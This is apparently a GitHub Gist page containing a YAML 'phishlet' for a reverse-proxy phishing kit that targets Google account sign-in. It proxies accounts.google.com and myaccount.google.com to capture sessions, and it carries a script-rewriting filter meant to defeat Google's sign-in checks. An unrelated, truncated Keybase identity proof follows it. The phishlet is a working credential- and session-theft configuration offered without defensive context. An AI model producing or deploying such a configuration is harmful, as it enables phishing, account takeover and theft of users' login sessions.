Skip to content

Instantly share code, notes, and snippets.

@JamesIT
JamesIT / google.yaml
Created February 16, 2022 08:57
google phishlet
author: '@TomAbel'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'accounts', orig_sub: 'accounts', domain: 'google.com', session: true, is_landing: true, auto_filter: false}
- {phish_sub: 'myaccount', orig_sub: 'myaccount', domain: 'google.com', session: true, is_landing: false, auto_filter: true}
sub_filters:
- {triggers_on: 'accounts.google.com', orig_sub: '', domain: '', search: '(bgRequest=[A-z])\)', replace: "${1}) && (e.bgRequest[Object.keys(e.bgRequest)[2]][1] = \"FNL\")", mimes: ['text/html', 'application/json']}
- {triggers_on: 'accounts.google.com', orig_sub: 'accounts', domain: 'google.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json']}
### Keybase proof
I hereby claim:
* I am JamesIT on github.
* I am jamesit (https://keybase.io/jamesit) on keybase.
* I have a public key whose fingerprint is 3BED 8440 69C9 A894 F91D 88F7 9299 2F4A 8F8C 3666
To claim this, I am signing this object: